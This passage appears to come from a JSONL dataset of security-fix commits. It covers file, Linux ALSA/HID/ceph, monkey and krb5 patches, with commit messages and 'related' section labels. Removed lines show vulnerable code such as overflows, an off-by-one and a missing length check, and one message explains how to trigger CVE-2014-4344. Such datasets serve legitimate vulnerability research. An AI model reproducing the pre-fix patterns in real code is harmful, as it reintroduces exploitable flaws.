sizeof(uint64_t);\n \t\tbreak;\n@@ -912,8 +912,9 @@ private int\n mconvert(struct magic_set *ms, struct magic *m, int flip)\n {\n \tunion VALUETYPE *p = &ms->ms_value;\n+\tuint8_t type;\n \n-\tswitch (cvt_flip(m->type, flip)) {\n+\tswitch (type = cvt_flip(m->type, flip)) {\n \tcase FILE_BYTE:\n \t\tcvt_8(p, m);\n \t\treturn 1;\n@@ -957,7 +958,8 @@ mconvert(struct magic_set *ms, struct magic *m, int flip)\n \tcase FILE_BELDATE:\n \t\tp->l = (int32_t)\n \t\t ((p->hl[0]<<24)|(p->hl[1]<<16)|(p->hl[2]<<8)|(p->hl[3]));\n-\t\tcvt_32(p, m);\n+\t\tif (type == FILE_BELONG)\n+\t\t\tcvt_32(p, m);\n \t\treturn 1;\n \tcase FILE_BEQUAD:\n \tcase FILE_BEQDATE:\n@@ -968,7 +970,8 @@ mconvert(struct magic_set *ms, struct magic *m, int flip)\n \t\t ((uint64_t)p->hq[2]<<40)|((uint64_t)p->hq[3]<<32)|\n \t\t ((uint64_t)p->hq[4]<<24)|((uint64_t)p->hq[5]<<16)|\n \t\t ((uint64_t)p->hq[6]<<8)|((uint64_t)p->hq[7]));\n-\t\tcvt_64(p, m);\n+\t\tif (type == FILE_BEQUAD)\n+\t\t\tcvt_64(p, m);\n \t\treturn 1;\n \tcase FILE_LESHORT:\n \t\tp->h = (short)((p->hs[1]<<8)|(p->hs[0]));\n@@ -979,7 +982,8 @@ mconvert(struct magic_set *ms, struct magic *m, int flip)\n \tcase FILE_LELDATE:\n \t\tp->l = (int32_t)\n \t\t ((p->hl[3]<<24)|(p->hl[2]<<16)|(p->hl[1]<<8)|(p->hl[0]));\n-\t\tcvt_32(p, m);\n+\t\tif (type == FILE_LELONG)\n+\t\t\tcvt_32(p, m);\n \t\treturn 1;\n \tcase FILE_LEQUAD:\n \tcase FILE_LEQDATE:\n@@ -990,14 +994,16 @@ mconvert(struct magic_set *ms, struct magic *m, int flip)\n \t\t ((uint64_t)p->hq[5]<<40)|((uint64_t)p->hq[4]<<32)|\n \t\t ((uint64_t)p->hq[3]<<24)|((uint64_t)p->hq[2]<<16)|\n \t\t ((uint64_t)p->hq[1]<<8)|((uint64_t)p->hq[0]));\n-\t\tcvt_64(p, m);\n+\t\tif (type == FILE_LEQUAD)\n+\t\t\tcvt_64(p, m);\n \t\treturn 1;\n \tcase FILE_MELONG:\n \tcase FILE_MEDATE:\n \tcase FILE_MELDATE:\n \t\tp->l = (int32_t)\n \t\t ((p->hl[1]<<24)|(p->hl[0]<<16)|(p->hl[3]<<8)|(p->hl[2]));\n-\t\tcvt_32(p, m);\n+\t\tif (type == FILE_MELONG)\n+\t\t\tcvt_32(p, m);\n \t\treturn 1;\n \tcase FILE_FLOAT:\n \t\tcvt_float(p, m);\n@@ -1054,7 +1060,7 @@ mdebug(uint32_t offset, const char *str, size_t len)\n \n private int\n mcopy(struct magic_set *ms, union VALUETYPE *p, int type, int indir,\n- const unsigned char *s, uint32_t offset, size_t nbytes, size_t linecnt)\n+ const unsigned char *s, uint32_t offset, size_t nbytes, struct magic *m)\n {\n \t/*\n \t * Note: FILE_SEARCH and FILE_REGEX do not actually copy\n@@ -1074,15 +1080,29 @@ mcopy(struct magic_set *ms, union VALUETYPE *p, int type, int indir,\n \t\t\tconst char *last;\t/* end of search region */\n \t\t\tconst char *buf;\t/* start of search region */\n \t\t\tconst char *end;\n-\t\t\tsize_t lines;\n+\t\t\tsize_t lines, linecnt, bytecnt;\n \n \t\t\tif (s == NULL) {\n \t\t\t\tms->search.s_len = 0;\n \t\t\t\tms->search.s = NULL;\n \t\t\t\treturn 0;\n \t\t\t}\n+\n+\t\t\tif (m->str_flags & REGEX_LINE_COUNT) {\n+\t\t\t\tlinecnt = m->str_range;\n+\t\t\t\tbytecnt = linecnt * 80;\n+\t\t\t} else {\n+\t\t\t\tlinecnt = 0;\n+\t\t\t\tbytecnt = m->str_range;\n+\t\t\t}\n+\n+\t\t\tif (bytecnt == 0)\n+\t\t\t\tbytecnt = 8192;\n+\t\t\tif (bytecnt > nbytes)\n+\t\t\t\tbytecnt = nbytes;\n+\n \t\t\tbuf = RCAST(const char *, s) + offset;\n-\t\t\tend = last = RCAST(const char *, s) + nbytes;\n+\t\t\tend = last = RCAST(const char *, s) + bytecnt;\n \t\t\t/* mget() guarantees buf <= last */\n \t\t\tfor (lines = linecnt, b = buf; lines && b < end &&\n \t\t\t ((b = CAST(const char *,\n@@ -1095,7 +1115,7 @@ mcopy(struct magic_set *ms, union VALUETYPE *p, int type, int indir,\n \t\t\t\t\tb++;\n \t\t\t}\n \t\t\tif (lines)\n-\t\t\t\tlast = RCAST(const char *, s) + nbytes;\n+\t\t\t\tlast = RCAST(const char *, s) + bytecnt;\n \n \t\t\tms->search.s = buf;\n \t\t\tms->search.s_len = last - buf;\n@@ -1166,7 +1186,6 @@ mget(struct magic_set *ms, const unsigned char *s, struct magic *m,\n int *need_separator, int *returnval)\n {\n \tuint32_t soffset, offset = ms->offset;\n-\tuint32_t count = m->str_range;\n \tuint32_t lhs;\n \tint rv, oneed_separator, in_type;\n \tchar *sbuf, *rbuf;\n@@ -1179,13 +1198,12 @@ mget(struct magic_set *ms, const unsigned char *s, struct magic *m,\n \t}\n \n \tif (mcopy(ms, p, m->type, m->flag & INDIR, s, (uint32_t)(offset + o),\n-\t (uint32_t)nbytes, count) == -1)\n+\t (uint32_t)nbytes, m) == -1)\n \t\treturn -1;\n \n \tif ((ms->flags & MAGIC_DEBUG) != 0) {\n \t\tfprintf(stderr, \"mget(type=%d, flag=%x, offset=%u, o=%zu, \"\n-\t\t \"nbytes=%zu, count=%u)\\n\", m->type, m->flag, offset, o,\n-\t\t nbytes, count);\n+\t\t \"nbytes=%zu)\\n\", m->type, m->flag, offset, o, nbytes);\n \t\tmdebug(offset, (char *)(void *)p, sizeof(union VALUETYPE));\n #ifndef COMPILE_ONLY\n \t\tfile_mdump(m);\n@@ -1550,7 +1568,7 @@ mget(struct magic_set *ms, const unsigned char *s, struct magic *m,\n \t\t\tif ((ms->flags & MAGIC_DEBUG) != 0)\n \t\t\t\tfprintf(stderr, \"indirect +offs=%u\\n\", offset);\n \t\t}\n-\t\tif (mcopy(ms, p, m->type, 0, s, offset, nbytes, count) == -1)\n+\t\tif (mcopy(ms, p, m->type, 0, s, offset, nbytes, m) == -1)\n \t\t\treturn -1;\n \t\tms->offset = offset;\n \n@@ -1906,7 +1924,8 @@ magiccheck(struct magic_set *ms, struct magic *m)\n \t\t\tif (slen + idx > ms->search.s_len)\n \t\t\t\tbreak;\n \n-\t\t\tv = file_strncmp(m->value.s, ms->search.s + idx, slen, m->str_flags);\n+\t\t\tv = file_strncmp(m->value.s, ms->search.s + idx, slen,\n+\t\t\t m->str_flags);\n \t\t\tif (v == 0) {\t/* found match */\n \t\t\t\tms->search.offset += idx;\n \t\t\t\tbreak;\n@@ -1929,16 +1948,11 @@ magiccheck(struct magic_set *ms, struct magic *m)\n \t\t\tfile_regerror(&rx, rc, ms);\n \t\t\tv = (uint64_t)-1;\n \t\t} else {\n-#ifndef REG_STARTEND\n-\t\t\tchar c;\n-#endif\n \t\t\tregmatch_t pmatch[1];\n \t\t\tsize_t slen = ms->search.s_len;\n-\t\t\t/* Limit by offset if requested */\n-\t\t\tif (m->str_range > 0)\n-\t\t\t\tslen = MIN(slen, m->str_range);\n #ifndef REG_STARTEND\n #define\tREG_STARTEND\t0\n+\t\t\tchar c;\n \t\t\tif (slen != 0)\n \t\t\t\tslen--;\n \t\t\tc = ms->search.s[slen];", "sections": [{"section": "@@ -32,7 +32,7 @@\n #include \"file.h\"\n \n #ifndef\tlint\n-FILE_RCSID(\"@(#)$File: softmagic.c,v 1.188 2014/05/14 23:15:42 christos Exp $\")\n+FILE_RCSID(\"@(#)$File: softmagic.c,v 1.189 2014/05/30 16:47:44 christos Exp $\")\n #endif\t/* lint */\n \n #include \"magic.h\"\n", "related": false}, {"section": "@@ -57,7 +57,7 @@ private int32_t mprint(struct magic_set *, struct magic *);\n private int32_t moffset(struct magic_set *, struct magic *);\n private void mdebug(uint32_t, const char *, size_t);\n private int mcopy(struct magic_set *, union VALUETYPE *, int, int,\n- const unsigned char *, uint32_t, size_t, size_t);\n+ const unsigned char *, uint32_t, size_t, struct magic *);\n private int mconvert(struct magic_set *, struct magic *, int);\n private int print_sep(struct magic_set *, int);\n private int handle_annotation(struct magic_set *, struct magic *);\n", "related": false}, {"section": "@@ -540,7 +540,7 @@ mprint(struct magic_set *ms, struct magic *m)\n \tcase FILE_LEDATE:\n \tcase FILE_MEDATE:\n \t\tif (file_printf(ms, F(ms, m, \"%s\"),\n-\t\t file_fmttime(p->l, FILE_T_LOCAL, tbuf)) == -1)\n+\t\t file_fmttime(p->l + m->num_mask, FILE_T_LOCAL, tbuf)) == -1)\n \t\t\treturn -1;\n \t\tt = ms->offset + sizeof(uint32_t);\n \t\tbreak;\n", "related": true}, {"section": "@@ -550,7 +550,7 @@ mprint(struct magic_set *ms, struct magic *m)\n \tcase FILE_LELDATE:\n \tcase FILE_MELDATE:\n \t\tif (file_printf(ms, F(ms, m, \"%s\"),\n-\t\t file_fmttime(p->l, 0, tbuf)) == -1)\n+\t\t file_fmttime(p->l + m->num_mask, 0, tbuf)) == -1)\n \t\t\treturn -1;\n \t\tt = ms->offset + sizeof(uint32_t);\n \t\tbreak;\n", "related": true}, {"section": "@@ -559,7 +559,7 @@ mprint(struct magic_set *ms, struct magic *m)\n \tcase FILE_BEQDATE:\n \tcase FILE_LEQDATE:\n \t\tif (file_printf(ms, F(ms, m, \"%s\"),\n-\t\t file_fmttime(p->q, FILE_T_LOCAL, tbuf)) == -1)\n+\t\t file_fmttime(p->q + m->num_mask, FILE_T_LOCAL, tbuf)) == -1)\n \t\t\treturn -1;\n \t\tt = ms->offset + sizeof(uint64_t);\n \t\tbreak;\n", "related": true}, {"section": "@@ -568,7 +568,7 @@ mprint(struct magic_set *ms, struct magic *m)\n \tcase FILE_BEQLDATE:\n \tcase FILE_LEQLDATE:\n \t\tif (file_printf(ms, F(ms, m, \"%s\"),\n-\t\t file_fmttime(p->q, 0, tbuf)) == -1)\n+\t\t file_fmttime(p->q + m->num_mask, 0, tbuf)) == -1)\n \t\t\treturn -1;\n \t\tt = ms->offset + sizeof(uint64_t);\n \t\tbreak;\n", "related": true}, {"section": "@@ -577,7 +577,7 @@ mprint(struct magic_set *ms, struct magic *m)\n \tcase FILE_BEQWDATE:\n \tcase FILE_LEQWDATE:\n \t\tif (file_printf(ms, F(ms, m, \"%s\"),\n-\t\t file_fmttime(p->q, FILE_T_WINDOWS, tbuf)) == -1)\n+\t\t file_fmttime(p->q + m->num_mask, FILE_T_WINDOWS, tbuf)) == -1)\n \t\t\treturn -1;\n \t\tt = ms->offset + sizeof(uint64_t);\n \t\tbreak;\n", "related": true}, {"section": "@@ -912,8 +912,9 @@ private int\n mconvert(struct magic_set *ms, struct magic *m, int flip)\n {\n \tunion VALUETYPE *p = &ms->ms_value;\n+\tuint8_t type;\n \n-\tswitch (cvt_flip(m->type, flip)) {\n+\tswitch (type = cvt_flip(m->type, flip)) {\n \tcase FILE_BYTE:\n \t\tcvt_8(p, m);\n \t\treturn 1;\n", "related": true}, {"section": "@@ -957,7 +958,8 @@ mconvert(struct magic_set *ms, struct magic *m, int flip)\n \tcase FILE_BELDATE:\n \t\tp->l = (int32_t)\n \t\t ((p->hl[0]<<24)|(p->hl[1]<<16)|(p->hl[2]<<8)|(p->hl[3]));\n-\t\tcvt_32(p, m);\n+\t\tif (type == FILE_BELONG)\n+\t\t\tcvt_32(p, m);\n \t\treturn 1;\n \tcase FILE_BEQUAD:\n \tcase FILE_BEQDATE:\n", "related": true}, {"section": "@@ -968,7 +970,8 @@ mconvert(struct magic_set *ms, struct magic *m, int flip)\n \t\t ((uint64_t)p->hq[2]<<40)|((uint64_t)p->hq[3]<<32)|\n \t\t ((uint64_t)p->hq[4]<<24)|((uint64_t)p->hq[5]<<16)|\n \t\t ((uint64_t)p->hq[6]<<8)|((uint64_t)p->hq[7]));\n-\t\tcvt_64(p, m);\n+\t\tif (type == FILE_BEQUAD)\n+\t\t\tcvt_64(p, m);\n \t\treturn 1;\n \tcase FILE_LESHORT:\n \t\tp->h = (short)((p->hs[1]<<8)|(p->hs[0]));\n", "related": true}, {"section": "@@ -979,7 +982,8 @@ mconvert(struct magic_set *ms, struct magic *m, int flip)\n \tcase FILE_LELDATE:\n \t\tp->l = (int32_t)\n \t\t ((p->hl[3]<<24)|(p->hl[2]<<16)|(p->hl[1]<<8)|(p->hl[0]));\n-\t\tcvt_32(p, m);\n+\t\tif (type == FILE_LELONG)\n+\t\t\tcvt_32(p, m);\n \t\treturn 1;\n \tcase FILE_LEQUAD:\n \tcase FILE_LEQDATE:\n", "related": true}, {"section": "@@ -990,14 +994,16 @@ mconvert(struct magic_set *ms, struct magic *m, int flip)\n \t\t ((uint64_t)p->hq[5]<<40)|((uint64_t)p->hq[4]<<32)|\n \t\t ((uint64_t)p->hq[3]<<24)|((uint64_t)p->hq[2]<<16)|\n \t\t ((uint64_t)p->hq[1]<<8)|((uint64_t)p->hq[0]));\n-\t\tcvt_64(p, m);\n+\t\tif (type == FILE_LEQUAD)\n+\t\t\tcvt_64(p, m);\n \t\treturn 1;\n \tcase FILE_MELONG:\n \tcase FILE_MEDATE:\n \tcase FILE_MELDATE:\n \t\tp->l = (int32_t)\n \t\t ((p->hl[1]<<24)|(p->hl[0]<<16)|(p->hl[3]<<8)|(p->hl[2]));\n-\t\tcvt_32(p, m);\n+\t\tif (type == FILE_MELONG)\n+\t\t\tcvt_32(p, m);\n \t\treturn 1;\n \tcase FILE_FLOAT:\n \t\tcvt_float(p, m);\n", "related": true}, {"section": "@@ -1054,7 +1060,7 @@ mdebug(uint32_t offset, const char *str, size_t len)\n \n private int\n mcopy(struct magic_set *ms, union VALUETYPE *p, int type, int indir,\n- const unsigned char *s, uint32_t offset, size_t nbytes, size_t linecnt)\n+ const unsigned char *s, uint32_t offset, size_t nbytes, struct magic *m)\n {\n \t/*\n \t * Note: FILE_SEARCH and FILE_REGEX do not actually copy\n", "related": true}, {"section": "@@ -1074,15 +1080,29 @@ mcopy(struct magic_set *ms, union VALUETYPE *p, int type, int indir,\n \t\t\tconst char *last;\t/* end of search region */\n \t\t\tconst char *buf;\t/* start of search region */\n \t\t\tconst char *end;\n-\t\t\tsize_t lines;\n+\t\t\tsize_t lines, linecnt, bytecnt;\n \n \t\t\tif (s == NULL) {\n \t\t\t\tms->search.s_len = 0;\n \t\t\t\tms->search.s = NULL;\n \t\t\t\treturn 0;\n \t\t\t}\n+\n+\t\t\tif (m->str_flags & REGEX_LINE_COUNT) {\n+\t\t\t\tlinecnt = m->str_range;\n+\t\t\t\tbytecnt = linecnt * 80;\n+\t\t\t} else {\n+\t\t\t\tlinecnt = 0;\n+\t\t\t\tbytecnt = m->str_range;\n+\t\t\t}\n+\n+\t\t\tif (bytecnt == 0)\n+\t\t\t\tbytecnt = 8192;\n+\t\t\tif (bytecnt > nbytes)\n+\t\t\t\tbytecnt = nbytes;\n+\n \t\t\tbuf = RCAST(const char *, s) + offset;\n-\t\t\tend = last = RCAST(const char *, s) + nbytes;\n+\t\t\tend = last = RCAST(const char *, s) + bytecnt;\n \t\t\t/* mget() guarantees buf <= last */\n \t\t\tfor (lines = linecnt, b = buf; lines && b < end &&\n \t\t\t ((b = CAST(const char *,\n", "related": true}, {"section": "@@ -1095,7 +1115,7 @@ mcopy(struct magic_set *ms, union VALUETYPE *p, int type, int indir,\n \t\t\t\t\tb++;\n \t\t\t}\n \t\t\tif (lines)\n-\t\t\t\tlast = RCAST(const char *, s) + nbytes;\n+\t\t\t\tlast = RCAST(const char *, s) + bytecnt;\n \n \t\t\tms->search.s = buf;\n \t\t\tms->search.s_len = last - buf;\n", "related": true}, {"section": "@@ -1166,7 +1186,6 @@ mget(struct magic_set *ms, const unsigned char *s, struct magic *m,\n int *need_separator, int *returnval)\n {\n \tuint32_t soffset, offset = ms->offset;\n-\tuint32_t count = m->str_range;\n \tuint32_t lhs;\n \tint rv, oneed_separator, in_type;\n \tchar *sbuf, *rbuf;\n", "related": true}, {"section": "@@ -1179,13 +1198,12 @@ mget(struct magic_set *ms, const unsigned char *s, struct magic *m,\n \t}\n \n \tif (mcopy(ms, p, m->type, m->flag & INDIR, s, (uint32_t)(offset + o),\n-\t (uint32_t)nbytes, count) == -1)\n+\t (uint32_t)nbytes, m) == -1)\n \t\treturn -1;\n \n \tif ((ms->flags & MAGIC_DEBUG) != 0) {\n \t\tfprintf(stderr, \"mget(type=%d, flag=%x, offset=%u, o=%zu, \"\n-\t\t \"nbytes=%zu, count=%u)\\n\", m->type, m->flag, offset, o,\n-\t\t nbytes, count);\n+\t\t \"nbytes=%zu)\\n\", m->type, m->flag, offset, o, nbytes);\n \t\tmdebug(offset, (char *)(void *)p, sizeof(union VALUETYPE));\n #ifndef COMPILE_ONLY\n \t\tfile_mdump(m);\n", "related": true}, {"section": "@@ -1550,7 +1568,7 @@ mget(struct magic_set *ms, const unsigned char *s, struct magic *m,\n \t\t\tif ((ms->flags & MAGIC_DEBUG) != 0)\n \t\t\t\tfprintf(stderr, \"indirect +offs=%u\\n\", offset);\n \t\t}\n-\t\tif (mcopy(ms, p, m->type, 0, s, offset, nbytes, count) == -1)\n+\t\tif (mcopy(ms, p, m->type, 0, s, offset, nbytes, m) == -1)\n \t\t\treturn -1;\n \t\tms->offset = offset;\n \n", "related": true}, {"section": "@@ -1906,7 +1924,8 @@ magiccheck(struct magic_set *ms, struct magic *m)\n \t\t\tif (slen + idx > ms->search.s_len)\n \t\t\t\tbreak;\n \n-\t\t\tv = file_strncmp(m->value.s, ms->search.s + idx, slen, m->str_flags);\n+\t\t\tv = file_strncmp(m->value.s, ms->search.s + idx, slen,\n+\t\t\t m->str_flags);\n \t\t\tif (v == 0) {\t/* found match */\n \t\t\t\tms->search.offset += idx;\n \t\t\t\tbreak;\n", "related": true}, {"section": "@@ -1929,16 +1948,11 @@ magiccheck(struct magic_set *ms, struct magic *m)\n \t\t\tfile_regerror(&rx, rc, ms);\n \t\t\tv = (uint64_t)-1;\n \t\t} else {\n-#ifndef REG_STARTEND\n-\t\t\tchar c;\n-#endif\n \t\t\tregmatch_t pmatch[1];\n \t\t\tsize_t slen = ms->search.s_len;\n-\t\t\t/* Limit by offset if requested */\n-\t\t\tif (m->str_range > 0)\n-\t\t\t\tslen = MIN(slen, m->str_range);\n #ifndef REG_STARTEND\n #define\tREG_STARTEND\t0\n+\t\t\tchar c;\n \t\t\tif (slen != 0)\n \t\t\t\tslen--;\n \t\t\tc = ms->search.s[slen];", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "sound/core/control.c", "commit_id": "ac902c112d90a89e59916f751c2745f4dbdbb4bd", "commit_message": "ALSA: control: Handle numid overflow\n\nEach control gets automatically assigned its numids when the control is created.\nThe allocation is done by incrementing the numid by the amount of allocated\nnumids per allocation. This means that excessive creation and destruction of\ncontrols (e.g. via SNDRV_CTL_IOCTL_ELEM_ADD/REMOVE) can cause the id to\neventually overflow. Currently when this happens for the control that caused the\noverflow kctl->id.numid + kctl->count will also over flow causing it to be\nsmaller than kctl->id.numid. Most of the code assumes that this is something\nthat can not happen, so we need to make sure that it won't happen\n\nSigned-off-by: Lars-Peter Clausen \nAcked-by: Jaroslav Kysela \nCc: \nSigned-off-by: Takashi Iwai ", "patch": "@@ -288,6 +288,10 @@ static bool snd_ctl_remove_numid_conflict(struct snd_card *card,\n {\n \tstruct snd_kcontrol *kctl;\n \n+\t/* Make sure that the ids assigned to the control do not wrap around */\n+\tif (card->last_numid >= UINT_MAX - count)\n+\t\tcard->last_numid = 0;\n+\n \tlist_for_each_entry(kctl, &card->controls, list) {\n \t\tif (kctl->id.numid < card->last_numid + 1 + count &&\n \t\t kctl->id.numid + kctl->count > card->last_numid + 1) {", "sections": [{"section": "@@ -288,6 +288,10 @@ static bool snd_ctl_remove_numid_conflict(struct snd_card *card,\n {\n \tstruct snd_kcontrol *kctl;\n \n+\t/* Make sure that the ids assigned to the control do not wrap around */\n+\tif (card->last_numid >= UINT_MAX - count)\n+\t\tcard->last_numid = 0;\n+\n \tlist_for_each_entry(kctl, &card->controls, list) {\n \t\tif (kctl->id.numid < card->last_numid + 1 + count &&\n \t\t kctl->id.numid + kctl->count > card->last_numid + 1) {", "related": false}]} +{"owner": "monkey", "repo": "monkey", "language": "C", "file_name": "src/mk_vhost.c", "commit_id": "b2d0e6f92310bb14a15aa2f8e96e1fb5379776dd", "commit_message": "Request: new request session flag to mark those files opened by FDT\n\nThis patch aims to fix a potential DDoS problem that can be caused\nin the server quering repetitive non-existent resources.\n\nWhen serving a static file, the core use Vhost FDT mechanism, but if\nit sends a static error page it does a direct open(2). When closing\nthe resources for the same request it was just calling mk_vhost_close()\nwhich did not clear properly the file descriptor.\n\nThis patch adds a new field on the struct session_request called 'fd_is_fdt',\nwhich contains MK_TRUE or MK_FALSE depending of how fd_file was opened.\n\nThanks to Matthew Daley for report and troubleshoot this\nproblem.\n\nSigned-off-by: Eduardo Silva ", "patch": "@@ -220,6 +220,7 @@ static inline int mk_vhost_fdt_open(int id, unsigned int hash,\n \n sr->vhost_fdt_id = id;\n sr->vhost_fdt_hash = hash;\n+ sr->fd_is_fdt = MK_TRUE;\n \n return fd;\n }\n@@ -262,7 +263,6 @@ static inline int mk_vhost_fdt_close(struct session_request *sr)\n return 0;\n }\n }\n-\n return close(sr->fd_file);\n }\n ", "sections": [{"section": "@@ -220,6 +220,7 @@ static inline int mk_vhost_fdt_open(int id, unsigned int hash,\n \n sr->vhost_fdt_id = id;\n sr->vhost_fdt_hash = hash;\n+ sr->fd_is_fdt = MK_TRUE;\n \n return fd;\n }\n", "related": false}, {"section": "@@ -262,7 +263,6 @@ static inline int mk_vhost_fdt_close(struct session_request *sr)\n return 0;\n }\n }\n-\n return close(sr->fd_file);\n }\n ", "related": false}]} +{"owner": "krb5", "repo": "krb5", "language": "C", "file_name": "src/lib/gssapi/spnego/spnego_mech.c", "commit_id": "a7886f0ed1277c69142b14a2c6629175a6331edc", "commit_message": "Fix null deref in SPNEGO acceptor [CVE-2014-4344]\n\nWhen processing a continuation token, acc_ctx_cont was dereferencing\nthe initial byte of the token without checking the length. This could\nresult in a null dereference.\n\nCVE-2014-4344:\n\nIn MIT krb5 1.5 and newer, an unauthenticated or partially\nauthenticated remote attacker can cause a NULL dereference and\napplication crash during a SPNEGO negotiation by sending an empty\ntoken as the second or later context token from initiator to acceptor.\nThe attacker must provide at least one valid context token in the\nsecurity context negotiation before sending the empty token. This can\nbe done by an unauthenticated attacker by forcing SPNEGO to\nrenegotiate the underlying mechanism, or by using IAKERB to wrap an\nunauthenticated AS-REQ as the first token.\n\n CVSSv2 Vector: AV:N/AC:L/Au:N/C:N/I:N/A:C/E:POC/RL:OF/RC:C\n\n[kaduk@mit.edu: CVE summary, CVSSv2 vector]\n\n(cherry picked from commit 524688ce87a15fc75f87efc8c039ba4c7d5c197b)\n\nticket: 7970\nversion_fixed: 1.12.2\nstatus: resolved", "patch": "@@ -1442,7 +1442,7 @@ acc_ctx_cont(OM_uint32 *minstat,\n \n \tptr = bufstart = buf->value;\n #define REMAIN (buf->length - (ptr - bufstart))\n-\tif (REMAIN > INT_MAX)\n+\tif (REMAIN == 0 || REMAIN > INT_MAX)\n \t\treturn GSS_S_DEFECTIVE_TOKEN;\n \n \t/*", "sections": [{"section": "@@ -1442,7 +1442,7 @@ acc_ctx_cont(OM_uint32 *minstat,\n \n \tptr = bufstart = buf->value;\n #define REMAIN (buf->length - (ptr - bufstart))\n-\tif (REMAIN > INT_MAX)\n+\tif (REMAIN == 0 || REMAIN > INT_MAX)\n \t\treturn GSS_S_DEFECTIVE_TOKEN;\n \n \t/*", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/hid/hid-kye.c", "commit_id": "4ab25786c87eb20857bbb715c3ae34ec8fd6a214", "commit_message": "HID: fix a couple of off-by-ones\n\nThere are a few very theoretical off-by-one bugs in report descriptor size\nchecking when performing a pre-parsing fixup. Fix those.\n\nCc: stable@vger.kernel.org\nReported-by: Ben Hawkes \nReviewed-by: Benjamin Tissoires \nSigned-off-by: Jiri Kosina ", "patch": "@@ -300,7 +300,7 @@ static __u8 *kye_report_fixup(struct hid_device *hdev, __u8 *rdesc,\n \t\t * - change the button usage range to 4-7 for the extra\n \t\t * buttons\n \t\t */\n-\t\tif (*rsize >= 74 &&\n+\t\tif (*rsize >= 75 &&\n \t\t\trdesc[61] == 0x05 && rdesc[62] == 0x08 &&\n \t\t\trdesc[63] == 0x19 && rdesc[64] == 0x08 &&\n \t\t\trdesc[65] == 0x29 && rdesc[66] == 0x0f &&", "sections": [{"section": "@@ -300,7 +300,7 @@ static __u8 *kye_report_fixup(struct hid_device *hdev, __u8 *rdesc,\n \t\t * - change the button usage range to 4-7 for the extra\n \t\t * buttons\n \t\t */\n-\t\tif (*rsize >= 74 &&\n+\t\tif (*rsize >= 75 &&\n \t\t\trdesc[61] == 0x05 && rdesc[62] == 0x08 &&\n \t\t\trdesc[63] == 0x19 && rdesc[64] == 0x08 &&\n \t\t\trdesc[65] == 0x29 && rdesc[66] == 0x0f &&", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/ceph/auth_x.c", "commit_id": "c27a3e4d667fdcad3db7b104f75659478e0c68d8", "commit_message": "libceph: do not hard code max auth ticket len\n\nWe hard code cephx auth ticket buffer size to 256 bytes. This isn't\nenough for any moderate setups and, in case tickets themselves are not\nencrypted, leads to buffer overflows (ceph_x_decrypt() errors out, but\nceph_decode_copy() doesn't - it's just a memcpy() wrapper). Since the\nbuffer is allocated dynamically anyway, allocated it a bit later, at\nthe point where we know how much is going to be needed.\n\nFixes: http://tracker.ceph.com/issues/8979\n\nCc: stable@vger.kernel.org\nSigned-off-by: Ilya Dryomov \nReviewed-by: Sage Weil ", "patch": "@@ -13,8 +13,6 @@\n #include \"auth_x.h\"\n #include \"auth_x_protocol.h\"\n \n-#define TEMP_TICKET_BUF_LEN\t256\n-\n static void ceph_x_validate_tickets(struct ceph_auth_client *ac, int *pneed);\n \n static int ceph_x_is_authenticated(struct ceph_auth_client *ac)\n@@ -64,7 +62,7 @@ static int ceph_x_encrypt(struct ceph_crypto_key *secret,\n }\n \n static int ceph_x_decrypt(struct ceph_crypto_key *secret,\n-\t\t\t void **p, void *end, void *obuf, size_t olen)\n+\t\t\t void **p, void *end, void **obuf, size_t olen)\n {\n \tstruct ceph_x_encrypt_header head;\n \tsize_t head_len = sizeof(head);\n@@ -75,8 +73,14 @@ static int ceph_x_decrypt(struct ceph_crypto_key *secret,\n \t\treturn -EINVAL;\n \n \tdout(\"ceph_x_decrypt len %d\\n\", len);\n-\tret = ceph_decrypt2(secret, &head, &head_len, obuf, &olen,\n-\t\t\t *p, len);\n+\tif (*obuf == NULL) {\n+\t\t*obuf = kmalloc(len, GFP_NOFS);\n+\t\tif (!*obuf)\n+\t\t\treturn -ENOMEM;\n+\t\tolen = len;\n+\t}\n+\n+\tret = ceph_decrypt2(secret, &head, &head_len, *obuf, &olen, *p, len);\n \tif (ret)\n \t\treturn ret;\n \tif (head.struct_v != 1 || le64_to_cpu(head.magic) != CEPHX_ENC_MAGIC)\n@@ -131,18 +135,19 @@ static void remove_ticket_handler(struct ceph_auth_client *ac,\n \n static int process_one_ticket(struct ceph_auth_client *ac,\n \t\t\t struct ceph_crypto_key *secret,\n-\t\t\t void **p, void *end,\n-\t\t\t void *dbuf, void *ticket_buf)\n+\t\t\t void **p, void *end)\n {\n \tstruct ceph_x_info *xi = ac->private;\n \tint type;\n \tu8 tkt_struct_v, blob_struct_v;\n \tstruct ceph_x_ticket_handler *th;\n+\tvoid *dbuf = NULL;\n \tvoid *dp, *dend;\n \tint dlen;\n \tchar is_enc;\n \tstruct timespec validity;\n \tstruct ceph_crypto_key old_key;\n+\tvoid *ticket_buf = NULL;\n \tvoid *tp, *tpend;\n \tstruct ceph_timespec new_validity;\n \tstruct ceph_crypto_key new_session_key;\n@@ -167,8 +172,7 @@ static int process_one_ticket(struct ceph_auth_client *ac,\n \t}\n \n \t/* blob for me */\n-\tdlen = ceph_x_decrypt(secret, p, end, dbuf,\n-\t\t\t TEMP_TICKET_BUF_LEN);\n+\tdlen = ceph_x_decrypt(secret, p, end, &dbuf, 0);\n \tif (dlen <= 0) {\n \t\tret = dlen;\n \t\tgoto out;\n@@ -195,20 +199,25 @@ static int process_one_ticket(struct ceph_auth_client *ac,\n \n \t/* ticket blob for service */\n \tceph_decode_8_safe(p, end, is_enc, bad);\n-\ttp = ticket_buf;\n \tif (is_enc) {\n \t\t/* encrypted */\n \t\tdout(\" encrypted ticket\\n\");\n-\t\tdlen = ceph_x_decrypt(&old_key, p, end, ticket_buf,\n-\t\t\t\t TEMP_TICKET_BUF_LEN);\n+\t\tdlen = ceph_x_decrypt(&old_key, p, end, &ticket_buf, 0);\n \t\tif (dlen < 0) {\n \t\t\tret = dlen;\n \t\t\tgoto out;\n \t\t}\n+\t\ttp = ticket_buf;\n \t\tdlen = ceph_decode_32(&tp);\n \t} else {\n \t\t/* unencrypted */\n \t\tceph_decode_32_safe(p, end, dlen, bad);\n+\t\tticket_buf = kmalloc(dlen, GFP_NOFS);\n+\t\tif (!ticket_buf) {\n+\t\t\tret = -ENOMEM;\n+\t\t\tgoto out;\n+\t\t}\n+\t\ttp = ticket_buf;\n \t\tceph_decode_need(p, end, dlen, bad);\n \t\tceph_decode_copy(p, 